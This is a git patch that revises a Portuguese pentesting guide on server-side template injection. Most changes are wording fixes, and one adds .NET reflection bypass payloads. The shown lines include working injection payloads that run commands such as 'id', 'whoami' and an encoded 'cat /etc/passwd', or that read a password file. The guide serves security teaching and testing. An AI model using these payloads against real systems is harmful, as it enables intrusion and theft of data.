From fdda2bebdf11ce3a20cf543958d75b2830c9b6bd Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 21 Mar 2025 09:29:18 +0000 Subject: [PATCH] Translated ['src/pentesting-web/ssti-server-side-template-injection/READ --- .../README.md | 37 ++++++++++++++----- 1 file changed, 27 insertions(+), 10 deletions(-) diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 3d80a1849..83b9aa313 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -25,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem: - Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template. -- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares. +- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares. - **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`). - **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário. @@ -43,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar ### [TInjA](https://github.com/Hackmanit/TInjA) -um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores. +um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadoras. ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - Bypass de Sandbox** +**Freemarker - Bypass de sandbox** ⚠️ só funciona em versões do Freemarker abaixo de 2.3.30 ```java @@ -209,7 +209,7 @@ Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -- Script Personalizado para geração de payloads +- Script personalizado para geração de payloads ```python #!/usr/bin/python3 @@ -261,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -Nova versão do Pebble : +Nova versão do Pebble: ```java {% raw %} {% set cmd = 'id' %} @@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem: +Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem: - **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend. - **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação. -- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os managed beans, garantindo uma estrutura de aplicação mais coerente. +- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente. Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**: @@ -386,7 +386,7 @@ el-expression-language.md ### Groovy (Java) -As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +As seguintes contornas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes +> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes ```xml This is the main page. @@ -814,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **bypass de execução de [Site oficial](http://jinja.pocoo.org) -> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD. +> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD. - `{{7*7}} = Erro` - `${7*7} = ${7*7}` @@ -928,6 +928,23 @@ O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qu - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net Contornando restrições + +Os mecanismos de Reflexão do .NET podem ser usados para contornar listas negras ou classes que não estão presentes no assembly. DLLs podem ser carregadas em tempo de execução com métodos e propriedades acessíveis a partir de objetos básicos. + +Dlls podem ser carregadas com: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - do sistema de arquivos. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - diretamente da requisição. + +Execução completa de comando: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Mais Informações** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) Mesmo sendo Perl, ele usa tags como ERB em Ruby.